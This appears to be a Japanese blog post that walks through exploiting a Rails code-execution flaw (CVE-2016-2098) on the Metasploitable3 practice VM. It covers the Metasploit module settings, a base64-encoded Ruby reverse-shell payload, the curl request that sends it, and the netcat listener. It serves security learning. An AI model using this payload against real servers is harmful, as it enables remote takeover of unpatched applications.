0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Metasploitable3 Ruby on Rails

Last updated at Posted at 2025-05-25

Metasploitable3のRuby on Railsには、任意のコードが実行可能な脆弱性(CVE-2016-2098)があります。

最初に

Metasploitable3のIPアドレス:192.168.56.123
ターゲットのPORT:3500
ターゲットのURL:readme
ターゲットのURLに、パラメータosを付けて、アクセスすると、その値に対応したページを表示するようになっています。

curl -X GET 192.168.56.123:3500/readme?os=linux
curl -X GET 192.168.56.123:3500/readme?os=windows

そのパラメータosに対して、ペイロードを送ります。

検証

Metasploit起動

msfconsole

モジュールの検索

Ruby on Railsの脆弱性は、CVE-2016-2098なので、「CVE-2016-2098」で検索してみます。

[msf](Jobs:0 Agents:0) >> search CVE-2016-2098

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  exploit/multi/http/rails_actionpack_inline_exec  2016-03-01       excellent  No     Ruby on Rails ActionPack Inline ERB Code Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/rails_actionpack_inline_exec

このモジュールを使用します。

[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to generic/shell_reverse_tcp

ペイロードは、デフォルトでgeneric/shell_reverse_tcpが設定されているようです。
オプションとして、以下の設定を行います。ポートは、デフォルトのままで、変更しません。
rhosts:攻撃対象のIPアドレス
rport:攻撃対象のポート
targetparam:インラインコードで挿入するターゲットパラメータ
targeturi:ターゲットのURI
lhost:攻撃側のIPアドレス

[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> set rhosts 192.168.56.123
rhosts => 192.168.56.123
[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> set rport 3500
rport => 3500
[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> set targetparam os
targetparam => os
[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> set targeturi /readme
targeturi => /readme
[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> set lhost 192.168.56.10
lhost => 192.168.56.10
[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> show options

Module options (exploit/multi/http/rails_actionpack_inline_exec):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS       192.168.56.123   yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                           metasploit/basics/using-metasploit.html
   RPORT        3500             yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETPARAM  os               yes       The target parameter to inject with inline code
   TARGETURI    /readme          yes       The path to a vulnerable Ruby on Rails application
   VHOST                         no        HTTP server virtual host


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.56.10    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

実行します。

[msf](Jobs:0 Agents:0) exploit(multi/http/rails_actionpack_inline_exec) >> run
[*] Started reverse TCP handler on 192.168.56.10:4444 
[*] Sending inline code to parameter: os
[*] Command shell session 1 opened (192.168.56.10:4444 -> 192.168.56.123:34948) at 2025-05-25 17:07:12 +0900

id
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)

追記

攻撃は、HTTPメソッドはGETで、以下のjsonをボディで送っていました。

{"os":{"inline":"\u003c%= eval(%[Y29kZSA9ICUoY21WeGRXbHlaU0FuYzI5amEyVjBKenRqUFZSRFVGTnZZMnRsZEM1dVpYY29JakU1TWk0eE5qZ3VOVFl1TVRBaUxDQTBORFEwS1Rza2MzUmthVzR1Y21WdmNHVnVLR01wT3lSemRHUnZkWFF1Y21WdmNHVnVLR01wT3lSemRHUmxjbkl1Y21WdmNHVnVLR01wT3lSemRHUnBiaTVsWVdOb1gyeHBibVY3Zkd4OGJEMXNMbk4wY21sd08yNWxlSFFnYVdZZ2JDNXNaVzVuZEdnOVBUQTdLRWxQTG5CdmNHVnVLR3dzSW5KaUlpbDdmR1prZkNCbVpDNWxZV05vWDJ4cGJtVWdlM3h2ZkNCakxuQjFkSE1vYnk1emRISnBjQ2tnZlgwcElISmxjMk4xWlNCdWFXd2dmUT09KS51bnBhY2soJShtMCkpLmZpcnN0CmlmIFJVQllfUExBVEZPUk0gPX4gL21zd2lufG1pbmd3fHdpbjMyLwppbnAgPSBJTy5wb3BlbiglKHJ1YnkpLCAlKHdiKSkgcmVzY3VlIG5pbAppZiBpbnAKaW5wLndyaXRlKGNvZGUpCmlucC5jbG9zZQplbmQKZWxzZQppZiAhIFByb2Nlc3MuZm9yaygpCmV2YWwoY29kZSkgcmVzY3VlIG5pbAplbmQKZW5k].unpack(%[m0])[0]) %\u003e"}}

このjsonを、payload.jsonに保存します。
Netcatで、待ち受けます。

nc -nvlp 4444

別端末から、payload.jsonをcurlで送ってみました。

curl -X GET -H "Content-Type: application/json" -d @payload.json 192.168.56.123:3500/readme

リバースシェルで接続できました。

Ncat: Connection from 192.168.56.123:48994.
id
uid=1124(chewbacca) gid=100(users) groups=100(users),999(docker)

攻撃コード部分は、以下のコマンドで作成したものと同じでした。

msfvenom -p ruby/shell_reverse_tcp lhost=192.168.56.10 lport=4444
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?